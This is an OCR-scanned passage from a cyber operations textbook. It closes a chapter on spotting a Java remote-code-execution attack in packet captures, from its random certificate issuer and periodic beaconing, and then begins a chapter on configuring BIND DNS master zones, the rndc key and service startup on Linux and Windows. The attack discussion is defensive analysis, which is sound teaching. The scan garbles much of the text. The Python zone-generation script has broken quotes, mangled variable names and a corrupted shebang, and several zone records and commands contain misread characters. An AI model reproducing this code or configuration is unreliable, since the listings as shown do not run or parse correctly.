The conversations on TCP/443 are more difficult to understand. As expected, the content is
encrypted, and following the stream provides no useful data.

Though the traffic is encrypted, the TLS handshake shows unusual behavior. Open the TLSv1
Server Hello packet and examine the data for the certificate’s issuer (Figure 3-11).
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2018 Java Attack Packet Capture.pcapng [Wireshark 1.10.14 (Git Rev Unknown from unknown)] - o x
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|+l Internet Protocol Version 4, Src: 10.0.2.2 (10.0.2.2), Dst: 10.0.2.24 (10.0.2.24)
= Transmission Control Protocol, Src Port: https (443), Dst Port: 51254 (51254), Seq: 1, Ack: 155, Len: 1338
- Secure Sockets Layer
+ TLSv1 Record Layer: Handshake Protocol: Server Hello
= TLSvl Record Layer: Handshake Protocol: Certificate
Content Type: Handshake (22)
Version: TLS 1.0 (0x@301)
Length: 708
=l Handshake Protecol: Certificate
Handshake Type: Certificate (11)
Length: 704
Certificates Length: 701
-l Certificates (701 bytes)
Certificate Length: 698

+ TLSvl Record Layer: Handshake Protocol: Server Key Exchange
t TLSv1 Record Layer: Handshake Protocol: Server Hello Done

Oc 4 6b :
e 77 74 30 1a 17 0d 31 36 31 37 32 3
OH Certificate (ssl.handshake.certificat... = Packets: 2999 - Displayed: 1085 (36.2%) - Dropped: 196 (6.5%) Profile: Default

Figure 3-11. Examining the certificate issuer for the Java JAX-WS Remote Code Execution
attack. Screenshot from Wireshark 1.10.14 on CentOS 7.3-1611.

In this example, the common name of the certificate issuer is “ytkrqnwt,” which appears
random.

Considering the different HTTPS conversations together as a group, two facts stand out. The
victim communicates with the attacker in bursts, each using a different source port. This explains
why the connections were so difficult to notice during the host-based analysis. The timing of the
connection attempts from the victim to the attacker is also suspicious. Examining the relative
start time for the connections, they appear to go out from the victim roughly every 10 seconds
(Figure 3-10).

Notes and References

The current runlevel of a Linux system can be found with the command runlevel.

One of the columns in the output from w command is the TTY for each user. There are
physical devices, represented by ttyn for some number n; and slave pseudo-terminals,
represented by pts/n for some number n. Although a tty was originally meant to refer to a single
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physical device, on modern Linux systems, the same physical hardware is usually bound to each
available tty. Each time a new Bash shell is started, a new slave pseudo-terminal is created.

A user physically at a Linux system can change the tty that they use. If a graphical user
interface is started, press CTRL+ALT+F8. Then to change to tty1 press ALT+F1, to change to tty2
press ALT+F2, and so on. For more information, read the manual page for console; the manual
pages for tty and pts provide additional information.

On Windows, hit the F7 button at a command prompt to get a history of the commands run in
a command prompt.

Microsoft explains that “A logon session is a computing session that begins when a user
authentication is successful and ends when the user logs off of the system.” See https://docs.
microsoft.com/en-us/windows/desktop/SecAuthN/lsa-logon-sessions for more details.

In the context of Process Explorer, a Windows Job is a collection of processes managed
together. Take a look at https://docs.microsoft.com/en-us/windows/desktop/ProcThread/
job-objects for details.

Windows servers open many ports for a wide range of services. Fortunately, Microsoft has a
guide to the different ports and services available at http://support.microsoft.com/kb/832017.

Wireshark installation packages contain WinPcap, which is a (required) packet capture
library for Windows. Older versions of Wireshark ship with older versions of WinPcap, and some
are sufficiently old that they do not run on Windows 8 or later. It is possible to install WinPcap
separately from Wireshark using versions that do run on Windows 8. WinPcap is available at
http://www.winpcap.org/install/.

The private keys used to generate the Meterpreter SSL certificate are available on the
attacker’s machine. Khr0x40sh shows how to locate the keys and use them to decode the SSL
encrypted traffic in Wireshark at http://khr0x40sh.wordpress.com/2013/06/25/exporting-
runtime-private-key-for-msfs-meterpreter-reverse-tcp-and-https/.

For a broad introduction to the Sysinternals tool suite, try the book

o Troubleshooting with the Windows Sysinternals Tools, 2nd ed., Mark
Russinovich and Aaron Margosis. Microsoft Press, October 2016.

There is an excellent tutorial for the Sysinternals suite available online at http://www.
howtogeek.com/school/sysinternals-pro.
There are several good books on Wireshark, including

e Practical Packet Analysis, 3rd ed., Chris Sanders. No Starch Press,
March 2017.

o The Wireshark Field Guide: Analyzing and Troubleshooting Network Traffic,
Robert Shimonski. Syngress, May 2013.

o Instant Wireshark Starter, Abhinav Singh. Packt Publishing, January 2013.
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CHAPTER 4

DNS and BIND

Introduction

Real networks are more than a collection of workstations identified by their IP address; on the
Internet, systems refer to each other through their names, and the Domain Name System (DNS)
provides a method to translate from names to addresses and back again. The DNS protocols
form the core protocol for the Internet, and an understanding of cyber operations requires an
understanding of DNS.

One of the most common DNS servers is BIND, primarily version 9. This chapter provides
a brief introduction to BIND 9. BIND can be installed on both Linux and Windows systems, and
both are covered. The reader will set up a simple DNS master server, including configuring both
forward and reverse zones. A slave server is then created that pulls its zone data from the master
server. More advanced topics, including forwarders, recursion, and DNS amplification attacks are
introduced. Tools that query DNS servers, including dig and nslookup, are presented and used.

Namespaces

Internet names are organized hierarchically as a tree, beginning with the root domain “.”,
followed by top-level domains like .com and .edu. The top-level domain .example is reserved for
use in documentation and examples, like this book. Beneath top-level domains are subdomains
of one or more additional levels, like apress.com, towson.edu, stars.example, or mars.probes.
example. Last comes the host name, say www.apress.com, sirius.stars.example, or spirit.
mars.probes.example (Figure 4-1).

IPv4 addresses are similarly organized as a graph, with 256 nodes (0-255) in each of four levels.

A zone is a connected portion of a namespace managed together.
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= .com — apress.com — WWwWw.apress.com

sirius.stars.example

— stars.example canopus.stars.example

arcturus.stars.example

— probes.example |— mars.probes.example

spirit.mars.probes.example
o [ .example — ‘

viking.mars.probes.example

coalsack.nebula.example

— nebula.example cone.neubula.example

horsehead.nebula.

— .edu — towson.edu — www.towson.edu

Figure 4-1. Namespace

Installing BIND

Most Linux distributions, including CentOS, OpenSuSE, Ubuntu, and Mint include BIND in their
collection of available packages. The installation process depends on the distribution. On CentOS
systems, install BIND with the command

[root@alnair ~]# yum install bind

A more secure installation of BIND uses chroot; these features are added with the additional
package

[root@alnair ~]# yum install bind-chroot

On OpenSuSE, BIND is installed with the command
pollux:~ # zypper install bind

On Mint or Ubuntu, run the command
gmonge@coalsack ~ $ sudo apt-get install bind9

Once BIND is installed, verify the installation completed correctly by checking that it returns
its version; for example, the default version of BIND for CentOS 7.0 is 9.9.4.
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[root@enif ~]# named -v
BIND 9.9.4-RedHat-9.9.4-14.el7 (Extended Support Version)

BIND can be installed on Windows systems. The latest version of BIND is available from
https://www.isc.org/downloads/, while older versions are available online at ftp://ftp.isc.
org/isc/bind9/. Select a version, say 9.9.8 (from September 2015). Download the corresponding
.zip file and uncompress it. Run the installer (Figure 4-2) as an administrator, providing an
account name and a password for the service.

X

£ BIND 9 Installer

Version 3.0.0
Browse | Uninstall

Exit

i

Target Directory:
IC:\Progrm'n Files\ISC BIND 9

Service Account Name
|named

Service Account Password

|n xxxxxxxx

Confirm Service Account Password

~ Dptiong
[~ Tools Only
v Automatic Startup
[V Keep Config Files After Uninstall
¥ Start BIND Service After Install

~ Progress-
Current Operation:

Figure 4-2. The installer for BIND 9.9.8 on Windows 10-1511 (x64)

The Windows installation process sets the directory for the BIND binaries and configuration
files. The installation creates two subdirectories: \bin for command-line binaries, and \etc
for configuration files. Command-line tools like dig, nslookup, and rndc are installed during
this process, but their directory may not be included in the system path. Update the path by
navigating Control Panel » System and Security » System » Advanced System Settings »
Environment Variables.
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Configuring BIND

Before BIND serves names and addresses, it must be correctly configured. Configuration
information for BIND itself is kept in the file named. conf. The data that connects IP addresses to
names and back are kept in zone files with names selected by the system administrator. BIND
includes the program rndc to control the server. It communicates with the server via TCP using a
pre-shared secret for authentication. This key is often kept in the same directory as the zone file
data. The default locations for these files depend on the distribution/operating system (Table 4-1).

Table 4-1. Default Locations for BIND Data, by Linux Distribution

Distribution BIND configuration Zone file directory

CentOS 5 with chroot /var/named/chroot/etc/named. /var/named/chroot/var/
conf named/

CentOS 5 without chroot /etc/named. conf /var/named/

Cent0S 6,7 /etc/named. conf /var/named/

Mint /etc/bind/named.conf /etc/bind/

OpenSuSE /etc/named. conf /var/lib/named/

Ubuntu /etc/bind/named.conf /etc/bind/

On Mint and Ubuntu systems, the default configuration stores zone files in /etc/bind and
refers to them through their full path; they also set the default directory as /var/cache/bind in
the file /etc/bind/named. conf.options.

The situation on CentOS 6 systems running chroot is somewhat complex. The primary
configuration file is /etc/named. conf and the zone file directory is /var/named. However, once
the BIND service is started, the primary configuration file is copied to /var/named/chroot/etc/
named. conf and the zone file directory is copied to /var/named/chroot/var/named.

Building a Master

A BIND master keeps zone information locally; in contrast, a BIND slave obtains its zone data
from another system. This distinction is made zone by zone, so the same server can be the master
for some zones and a slave for other zones.

Servers that are masters for all of their zones are the simplest to configure. As an example,
suppose a user wants to create a BIND server to act as the master for namespace .stars.example
in the address space 10.0.2.0/24 using a CentOS 7 system.
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named.conf

The first file that needs to be configured is named. conf. Each Linux distribution includes a default
named. conf file as part of the installation process (Table 4-1); however, there are significant
differences between distributions and even between releases within a single distribution. These
default named. conf files often include advanced or complex features. Rather than beginning with
and modifying these (different) files, instead consider the much simpler sample in Listing 4-1.

Listing 4-1. Sample named.conf file for a master
// BIND Configuration File

options {
directory "/var/named";

};

zone "." in {
type hint;
file "db.root";
};

zone "stars.example" in {
type master;
file "db.stars.example";

b

zone "2.0.10.in-addr.arpa" in {
type master;
file "db.10.0.2";

};

zone "localhost" in {
type master;
file "db.localhost";

};

zone "127.in-addr.arpa" in {
type master;
file "db.127";

};
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include "/etc/rndc.key";

controls {
inet 127.0.0.1 port 953
allow { 127.0.0.1; } keys { "rndckey"; };

};

This sample named. conf configuration file begins with an options grouping that contains
configuration directives meant to apply globally. The directory directive provides the root path
for any files subsequently referenced, and matches the default directory specified in Table 4-1.
Adjust the value as appropriate.

It continues with five zones. The first zone is the root hints zone and points to the location of
a file that tells the server the location of the root nameservers for the Internet. The remaining four
zones declare themselves to be masters and provide the location of the corresponding zone files.
Each of these five zone files remains to be created.

The program that controls much of the operation of the nameserver is rndc, which
communicates with the nameserver over TCP/953. Though the default is usually to only allow the
communication via localhost, this is not required, and rndc can be used to remotely control a BIND
nameserver. The rndc program authenticates to the nameserver using a pre-shared secret. The end
of the configuration file includes a shared secret and configures BIND to listen to on TCP/953 on
127.0.0.1 for connections. The allow directive lists the systems that may authenticate and provides
the location of the key file and the name of the key in that file. This key is yet to be generated.

Forward Zone

A forward zone maps human readable names to numerical IP addresses. The name of the zone
file is arbitrary, as the configuration file named. conf can use whatever name is selected. Using a
consistent naming scheme is helpful. The directory directive in the options section of named.
conf specifies the locations of the files, and so long as the file is located within this directory, its
relative name can be specified instead of the full path.

In this example, the namespace is . stars.example, so create the file db.stars.example in
the zone file directory (Table 4-1). In a CentOS 7.0 system, this is in the directory /var/named/. As
an example, consider Listing 4-2.

Listing 4-2. Sample forward zone file db.stars.example
$TTL 5m

stars.example. IN SOA enif.stars.example. sgermain.enif.stars.example. (
1 ; Zone file serial number
5m ; Refresh time
3m ; Retry time
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30m ; Expiration time
5m ) ; Negative TTL

; Name Servers

stars.example. IN NS enif.stars.example.
stars.example. IN NS navi.stars.example.

; Address Records

sirius.stars.example. IN A 10.0.2.10
canopus.stars.example. IN A 10.0.2.11
siriusb.stars.example. IN A 10.0.2.12
canopusb.stars.example. IN A 10.0.2.13
arcturus.stars.example. IN A 10.0.2.14
vega.stars.example. IN A 10.0.2.15
capella.stars.example. IN A 10.0.2.16
altair.stars.example. IN A 10.0.2.17
betelgeuse.stars.example. IN A 10.0.2.18
procyon.stars.example. IN A 10.0.2.19
hadar.stars.example. IN A 10.0.2.20
... Output Deleted ...

; Aliases

dns.stars.example. IN CNAME enif.stars.example.

In an Ubuntu system, this zone file could be named /etc/bind/db.stars.example while in
a 32-bit Windows 7 system, this zone file could be named C: \Program Files\ISC BIND 9\etc\
db.stars.example.

The zone file begins with a time-to-live directive, here set to five minutes. This is included
with any query response and tells the requester how long they may cache the results.

Next is the Internet start of authority record, or IN SOA record. It must start in the left column
with the namespace that is being configured; in this case it is "stars.example.". Notice the
trailing dot; this is essential. The top level of any name space is just “.”, so this tells BIND that
this is the fully qualified domain name (FQDN), rather than just an abbreviation. Only one IN
SOA record can be in a file. The IN SOA record continues with the FQDN for the host that will act
as the primary nameserver for the zone. In this case it is "enif.stars.example."; the name is
ended with a period to indicate that this is not an abbreviation. After the name of the primary
nameserver comes the email address of the person responsible for maintaining the zone. At
first glance, it does not look like an email address, but the key is that the first "@" in the email
address is replaced by a ".". Thus, the example record states that the email address of the person
responsible for the zone is "sgermain@enif.stars.example.".
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The open parenthesis continues the IN SOA directive to subsequent lines. The data in
the remainder of the IN SOA directive is used primarily for slave nameservers that get their
information from this master. The portion of each line after the semicolons are comments and are
used primarily to help the reader.

The zone serial number is just that - a serial number. It can be set to any integer value.

When a slave nameserver checks the master for an update, if the serial number on the master is
greater than the serial number on the slave, then the slave will update its local data. There is no
requirement that serial numbers be assigned consecutively - if the new data has a higher serial

number than the old data, the zone will update.

Next is the refresh value; this determines how often a slave nameserver will query the master
to see if it has the current data. What happens if the slave is unable to reach the master? Then it
will try again after the retry interval. A slave unable to reach the master continues to use the old
data it has until it expires. Last is the negative TTL; this is how long a slave should cache answers
from the master that say that a name does not exist.

The values in this example are tuned for use in a testing laboratory. Data updates quickly, but
times out quickly. These are probably not suitable for a system meant to function on the wider
Internet. Suggestions for more reasonable values can be found many places; the examples in the
book of Liu and Albitz, DNS & BIND (pp. 57 ff.) use the values:

e TTL-3hours

e Refresh- 3 hours

e Retry- 1 hour

o Expire- 1 week

e Negative TTL- 1 hour

The forward zone continues with a pair of Internet IN name server NS records; these are the
names of the hosts that act as namerservers for the zone.

Following this are Internet IN address A records. These provide the IPv4 address for a hostname.
The corresponding IPv6 record type is AAAA. Note that the full FQDN is given for each name,
including the trailing “.” to ensure that each name is considered absolute, rather than relative. Each
address record needs to be for the zone specified in the SOA record.

The example ends with an Internet IN CNAME alias record. Alias records provide additional
names for a system. The example record states that the canonical name for dns.stars.example is
enif.stars.example. Arequest for the IP address of dns.stars.example will return instead the
IP address for enif.stars.example.

Together, this forms a fully functional specification of a forward zone, mapping names to IP
addresses.
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Reverse Zone

BIND is also used to determine the hostname associated with a given IP address; this is done by a
reverse zone. Like the forward zone, the name of the file with the data for the reverse zone can have an
essentially arbitrary name, but it makes sense to use a consistent naming scheme. Since the reverse
zone in the example maps IP address in the 10.0.2.0/24 block to names, create the file db.10.0.2 in
the zone file directory (Table 4-1). In a CentOS 5.3 system, this becomes the file /var/named/chroot/
var/named/db.10.0.2 shown in Listing 4-3.

Listing 4-3. Sample reverse zone db.10.0.2
$TTL 5m

2.0.10.in-addr.arpa. IN SOA enif.stars.example. sgermain.enif.stars.example. (
1 ; Zone file serial number
5m ; Refresh time
3m ; Retry time
30m ; Expiration time
5m ) ; Negative TTL

; Name Servers

2.0.10.in-addr.arpa. IN NS enif.stars.example.
2.0.10.1in-addr.arpa. IN NS navi.stars.example.

; Address Records

10.2.0.10.in-addr.arpa. IN PTR  sirius.stars.example.
11.2.0.10.in-addr.arpa. IN PTR  canopus.stars.example.
12.2.0.10.in-addr.arpa. IN PTR  siriusB.stars.example.
13.2.0.10.in-addr.arpa. IN PTR  canopusB.stars.example.
14.2.0.10.in-addr.arpa. IN PTR  arcturus.stars.example.
15.2.0.10.in-addr.arpa. IN PTR  vega.stars.example.
16.2.0.10.in-addr.arpa. IN PTR  capella.stars.example.
17.2.0.10.in-addr.arpa. IN PTR  altair.stars.example.
18.2.0.10.in-addr.arpa. IN PTR  betelgeuse.stars.example.
19.2.0.10.1in-addr.arpa. IN PTR  procyon.stars.example.
20.2.0.10.in-addr.arpa. IN PTR  hadar.stars.example.

... Output Deleted ...

This file has the same structure as the forward zone. It begins with a time-to-live declaration,
which is set to the same quick five minutes. Next comes an Internet start of authority record
(IN SOA); the difference here is the zone is named after the address space 10.0.2.0/24, rather than
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a namespace, though it may not be clear at first reading. To construct the zone name, take the IP
range in octet form, reverse the numbers, and end with ".in-addr.arpa.". This convention is a
leftover from the original days of the Internet as it evolved from the Defense Advanced Research
Project Agency (DARPA). If the subnet in question was 192.168.0.0/16, then the name would be
168.192.1in-addr.arpa.

The values in the Start of Authority (IN SOA) record have the same meaning they did in the
forward zone; similarly, the required Internet nameserver (IN NS) record is as it was before.

The remaining records are Internet pointer (IN PTR) records. The left side is the IP address,
written in the reversed ".in-addr.arpa." form, while the right side is the full domain name at
that address. These records match the forward zone records and provide the way that BIND links
IP addresses back to hostnames.

Scripting

Cyber operations is more than using tools, even advanced tools like Metasploit and Process
Explorer from Chapters 2 and 3. It is important to be able to write custom tools for custom
problems. The creation of the zone files is a perfect opportunity to practice some scripting.

The data for the forward zone and the reverse zone need to be consistent and entered without
typographical errors. Suppose that the list of hostnames and IP addresses are available in the file
stars.csv in the form

sirius,10.0.2.10
canopus,10.0.2.11
siriusb,10.0.2.12
canopusb,10.0.2.13
arcturus,10.0.2.14

... Output Deleted ...

Rather than retyping the data in this list twice (once for each zone!), it is preferable to convert
this raw data into both a list of address (A) records and pointer (PTR) records using a scripting
language like Python. Consider the script in Listing 4-4.

Listing 4-4. Python code to convert a . csv file with names and IP addresses to lists for
both a forward and a reverse zone file

#!/usxr/bin/python

import csv

input file name = "stars.csv"
forward file name = "forward.txt
reverse file name = "reverse.txt
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domain _name = ".stars.example."

input_file = open(input_file name,'r")
forward file = open(forward file name,'w")
reverse file = open(reverse file name,'w')

input_reader = csv.reader(input file)
for line in input reader:

host = line[0]

ip = line[1]

fqdn = host + domain_name
padding = ' ' * (30 - len(fqgdn))

forward file.write(fqdn + padding + "IN A "+ip + "\n")
[i1,i2,13,1i4] = ip.split('.")
revaddr = i4 + "." + i3 + "." + 12 + '.' + i1 + '.in-addr.arpa.’

padding = ' ' * (30 - len(revaddr))
reverse file.write(revaddr + padding + "IN PTR ' + fqdn + "\n')

This program reads each line from stars.csv, storing the hostname and the IP address. It
builds the corresponding FQDN and uses that to write the matching address record line to
forward.txt. It splits the IP address up into octets, reverses them adding ".in-addr.arpa." to
build the pointer record, which is written to reverse.txt. The resulting files can then be copied and
pasted into appropriate zone files.

Loopbacks

Because systems refer to localhost and expect an answer, it is reasonable to create a forward and
reverse zone for localhost. Build the localhost forward zone file, named db.localhost with the
content in Listing 4-5.

Listing 4-5. Sample forward zone db.localhost
$TTL 7d

localhost. IN SOA localhost. root.localhost. (
1 ; Serial Number
7d ; Refresh time
1d ; Retry time
28d; Expiration time
7d); Negative TTL
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; Name Servers
localhost. IN NS localhost.

; Address Records
localhost. IN A 127.0.0.1

Build the corresponding localhost reverse zone file, say db.127 with content like Listing 4-6.

Listing 4-6. Sample reverse zone db.127
$TTL 7d

127.in-addr.arpa. IN SOA localhost. root.localhost. (
1 ; Serial Number
7d ; Refresh time
1d ; Retry time
28d; Expiration time
7d); Negative TTL

; NameServers
127.in-addr.arpa. IN NS  localhost.

; Address
1.0.0.127.in-addr.arpa. IN PTR  localhost.

These files reside in the same directory alongside the other zone files. They have the same
general structure, but because data for localhost should not time out, the various time settings are
all much longer.

Many systems already have versions of the localhost zone files. For example, on Ubuntu 13.04
the file /etc/bind/db.local has the content shown in Listing 4-7.

Listing 4-7. The file /etc/bind/db.local from Ubuntu 13.04

)

; BIND data file for local loopback interface

)
$TTL 604800

@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
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@ IN NS localhost.
@ IN A 127.0.0.1
@ IN AAAA 1

Superficially this looks different than the sample forward zone db.localhost, but this is
deceiving. If the no unit of time is specified, BIND assumes the number refers to the number of
seconds. In the Ubuntu file, the refresh time is 604,800 seconds, which turns out to be seven days,
just as in the example forward zone (Listing 4-5). The symbol ‘@’ is an abbreviation for the origin
of the zone, which if not overridden comes from the name of the zone in the named. conf file,
which in this case is just "localhost.". This is just one of many ways to abbreviate information in
a zone file. The nameserver record and the address record match the example; the only difference
is the inclusion of an additional IPv6 address record.

Root Hints

The zone files created so far are sufficient to provide name services for the local network, but
suppose the nameserver is asked for the IP address of a different system? The root hints file
provides the addresses of the root DNS servers for the Internet. If the nameserver is asked for data
it does not have, it will ask other servers, possibly including these root servers to find the answer.
Download the current root hints file (http://www.internic.net/domain/named.root) and
save it with the file name db.root alongside the two forward and two reverse zones created so
far. Some systems already include a copy of the root hints file, though it may be out of date and in
need of replacement or may have a different name.

Controlling the Nameserver

The nameserver is controlled with the program rndc; this program communicates with the
nameserver over TCP/953 and authenticates with a pre-shared secret. To generate the secret, from
the command line, run the program rndc-confgen; when used with the -a option most of the work
is automatic. For example, on a CentOS 7.0 system the result is

[root@enif ~]# rndc-confgen -a
wrote key file "/etc/rndc.key"

On a 64-bit Windows 10 system with an Administrator command prompt, the result is

C:\Windows\system32>"C:\Program Files\ISC BIND 9\bin\rndc-confgen.exe" -a
wrote key file "C:\Program Files\ISC BIND 9\etc\rndc.key"

Be sure to check that the key is stored in the correct location. On some systems (e.g., BIND
9.7.1 on Windows Server 2012), the tool will state that the key was written to C: \Windows\
system32\dns\etc\rndc.key when in fact is was written to C: \Windows\SysWOW64\dns\etc\
rndc.key.

177


http://www.internic.net/domain/named.root

CHAPTER 4  DNS AND BIND

Permissions on the key file should be set so that it is readable by only the user running BIND;
this user varies with the distribution; it may be named (e.g., on CentOS) or bind (e.g., Mint).
When rndc-confgen -aisrun on some systems (e.g., CentOS 6.3, 7.3) the permissions on the
key file rndc. key are (slightly) too strict. The result is owned by user root and group root, with
permissions rw/-/- so the group named has no access to the key. This is fixed with

[root@Antares named]# 1s -1 /etc/xndc.key

-TW------- . 1 root root 77 Aug 10 16:34 /etc/rndc.key
[root@Antares named]# chown root:named /etc/rndc.key
[root@Antares named]# chmod 640 /etc/rndc.key

The situation with other systems (e.g., Ubuntu Server 13.04 and Mint 7), is similar; on these
systems the result is owned by user root and group bind, which is correct, but permissions on the
file are still rw/-/- so that members of the bind group do not have read permissions. Fix this in
the same fashion.

The key file itself has content like

[root@enif ~]# cat /etc/rndc.key
key "rndc-key" {

algorithm hmac-md5;

secret "GXegQIdelyzZT2gr6XqrHQ==";
};

This includes the name of the key, the algorithm, and the actual key value. The name of the key
generated by rndc-confgen -avaries; for example, CentOS 5 generates a key with the name rndc-
key, while CentOS 6 generates a key with the name rndckey. The content of the BIND configuration
file named. conf (Listing 4-1) must be adjusted to match.

Starting BIND on Linux

Once the BIND configuration, zone files, root hint files, and rndc key are created, the BIND server
is ready to be started for the first time. On CentOS or OpenSuSE systems that use SysVInit, run

[root@alnair ~]# service named start
Starting named: [ OK ]

On CentOS or OpenSuSE systems that use systemd, the command is
[root@enif ~]# systemctl start named

On an Ubuntu or a Mint system the process is similar, but the name of the service is bind9.
On Mint 18, for example, which uses systemd, the corresponding command is

jmaxwell@kalliope $ sudo systemctl start bind9
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Once the command to start (or stop or modify) a service has been issued, it is a good habit
to verify that the command had the desired effect. On systemd-based systems like Mint 18, this is
done with the command

jmaxwell@kalliope $ sudo systemctl status bind9
@® bind9.service - BIND Domain Name Server
Loaded: loaded (/1lib/systemd/system/bind9.service; enabled; vendor preset:
enabled)
Drop-In: /run/systemd/generator/bind9.service.d
L—s50-insserv.conf-$named.conf
Active: active (running) since Sun 2017-06-11 21:36:57 EDT; 6s ago
Docs: man:named(8)
Process: 5934 ExecStop=/usr/sbin/rndc stop (code=exited, status=0/SUCCESS)
Main PID: 5944 (named)
Tasks: 4 (limit: 512)
CGroup: /system.slice/bind9.service
L—5944 /usr/sbin/named -f -u bind

Jun 11 21:36:57 kalliope named[5944]: zone 3.0.10.in-addr.arpa/IN: loaded serial 1
Jun 11 21:36:57 kalliope named[5944]: zone 127.in-addr.arpa/IN: loaded serial 1
Jun 11 21:36:57 kalliope named[5944]: zone localhost/IN: loaded serial 2

Jun 11 21:36:57 kalliope named[5944]: zone asteroid.test/IN: loaded serial 1

Jun 11 21:36:57 kalliope named[5944]: all zones loaded

On a SysVInit-based system, like CentOS 5.9, the corresponding command is

[root@alnair ~]# sexvice named status
number of zones: 4

debug level: 0

xfers running: 0

xfers deferred: 0

soa queries in progress: O
query logging is OFF

recursive clients: 0/1000

tcp clients: 0/100

server is up and running

named (pid 3705) is running....

If the service fails to start, check the system logs (¢f. Chapter 10), which for CentOS or
OpenSusSE systems are in /var/log/messages; for Ubuntu or Mint systems they are in /var/log/
syslog. On systems that only have systemd-journald logs, the logs are read with journalctl.
Correct any errors that appear. Even if the service appears to start correctly, it is important
to check the logs; errors in the configuration may be sufficiently minor that BIND starts, but
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significant enough that the service does not function correctly. When configured correctly on

CentOS 5.9, the log file contains the following.

Jun 11 22:49:27 alnair named[3807]: starting BIND 9.3.6-P1-RedHat-9.3.6-20.

P1.el5 8.5 -u named -t /var/named/chroot

Jun 11 22:49:27 alnair named[3807]: adjusted limit on open files from 1024 to 1048576
Jun 11 22:49:27 alnair named[3807]: found 1 CPU, using 1 worker thread

Jun 11 22:49:27 alnair named[3807]: using up to 4096 sockets

Jun 11 22:49:27 alnair named[3807]: loading configuration from '/etc/named.conf'
Jun 11 22:49:27 alnair named[3807]: using default UDP/IPv4 port range: [1024, 65535]
Jun 11 22:49:27 alnair named[3807]: using default UDP/IPv6 port range: [1024, 65535]
Jun 11 22:49:27 alnair named[3807]: listening on IPv4 interface lo, 127.0.0.1#53
Jun 11 22:49:27 alnair named[3807]: listening on IPv4 interface etho, 10.0.2.46#53
Jun 11 22:49:27 alnair named[3807]: command channel listening on 127.0.0.1#953

Jun 11 22:49:27 alnair named[3807]: zone 2.0.10.in-addr.arpa/IN: loaded serial 4
Jun 11 22:49:27 alnair named[3807]: zone 127.in-addr.arpa/IN: loaded serial 1

Jun 11 22:49:27 alnair named[3807]: zone stars.example/IN: loaded serial 4

Jun 11 22:49:27 alnair named[3807]: zone localhost/IN: loaded serial 1

Jun 11 22:49:27 alnair named[3807]: running

The rndc tool should also be used to check the status of the server.

[root@alnair ~]# rndc status
number of zones: 4

debug level:

xfers running: 0

0

xfers deferred: 0

soa queries in progress: O
query logging is OFF
recursive clients: 0/1000
tcp clients: 0/100
server is up and running

Once BIND is running, it needs to be configured to start on boot. Different Linux systems

have different tools to manage their services. CentOS 5 and CentOS 6, for example, come with a

graphical tool (/usr/sbin/system-config-services) to manage services; it appears in the menu
in different places (CentOS 5: System » Administration » Server Settings » Services; CentOS 6:
System » Administration » Services). On an OpenSuSE system, the graphical tool is available in
YaST; select System, then either System Services (Runlevel), System Services, or System Manager
depending on the release.
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On SysVInit-based systems, BIND can be configured to run on boot with the command-line
tool chkconfig. For example, on OpenSuSE or CentOS (where the service is called named) the
command is

[root@Spica ~]# chkconfig named on

The boot status of all installed services is available with the command chkconfig --1list.
On systemd-based systems, a user can check if the service called named is enabled with

[root@enif ~]# systemctl is-enabled named
disabled

It is then enabled with the command
[root@enif ~]# systemctl enable named

On Mint and Ubuntu systems, the installation process for BIND also configures it to run and
start on boot so no additional changes are needed.

Starting BIND on Windows

To run BIND on a Windows system, be sure that the etc subdirectory of the installation directory
(C:\Program Files\ISC BIND 9\etc in Figure 4-2) contains a properly formatted named. conf
file. That file should be similar in content to Listing 4-1. The zone files need to be readable by the
user chosen during the BIND installation.

BIND can be started from an administrator command prompt with the command

C:\Windows\system32>sc start named

SERVICE_NAME: named

TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x7do
PID : 3812
FLAGS :
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The status can then be checked via

C:\Windows\system32>sc queryex named

SERVICE_NAME: named

TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x0
PID : 3812
FLAGS

The graphical tool to manage services can be launched by navigating Control Panel » System
and Security » Administrative Tools » Services (Figure 4-3). Double-clicking on the service
(ISC BIND) allows the service to be started, stopped, and/or configured to run on system start.
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Figure 4-3. Services, including ISC BIND. Shown on Windows 10-1511 (x64)
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Logs from BIND on Windows are stored in the Windows application log (cf: Chapter 10).
These can be examined using Event Viewer; to launch Event Viewer navigate Control Panel
» System and Security » Administrative Tools » Event Viewer. To see the logs from BIND, in
Event Viewer navigate Windows Logs » Application. As was the case in Linux systems, BIND on
Windows may start with errors that do not prevent the start of the service, but that do cause errors
in performance, so the logs should be checked for any errors the first time the service is started.
BIND stores the PID for the running process in the file named. pid, located in the etc
subdirectory of the installation directory. This file is to be written by the user named that was
created during the BIND installation. However, by default that user has no write permissions
to the subdirectory; this must be added manually. Select the directory in explorer, right-click
to bring up the properties menu, select the security tab, and change permissions with the Edit
button. Give the user named full control.

Completing the Installation

After BIND is started, the host firewall must be opened to allow the necessary traffic to and from
the server. The named server listens on both UDP/53 and TCP/53; these should be open. The rndc
control program by default listens on TCP/953 on the loopback interface (127.0.0.1). If the intent is
to allow remote access to rndc, then the listening interface needs to be modified in named. conf and
the needed changes made to the firewall.

With the installation and configuration of BIND complete, other hosts can be configured
to use the BIND system as their nameserver. These systems should be able to look up local
addresses as well as global addresses. Here is a client system using the newly built DNS server.

[cgauss@enif ~]$ nslookup sirius.stars.example

Server: 10.0.2.97
Address: 10.0.2.97#53
Name: sirius.stars.example

Address: 10.0.2.10

[cgauss@enif ~]$ nslookup apress.com
Server: 10.0.2.97
Address: 10.0.2.97#53

Non-authoritative answer:
Name: apress.com
Address: 195.128.8.134
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Building a Slave

A BIND slave nameserver downloads the data for a zone from another nameserver rather than
using zone data stored locally. One advantage of this approach is that the administrator can use
multiple servers for redundancy but does not need to maintain independent files that could
accidentally become different.

As an example, suppose an administrator wants to build a second nameserver for the zones
stars.example and 2.0.10.in-addr.arpa, but wants the second nameserver to act as a slave to the first.
To build such a server, the administrator goes through most of the steps needed to build the master.

e Do not build either the stars.example forward zone or the 2.0.10.in-
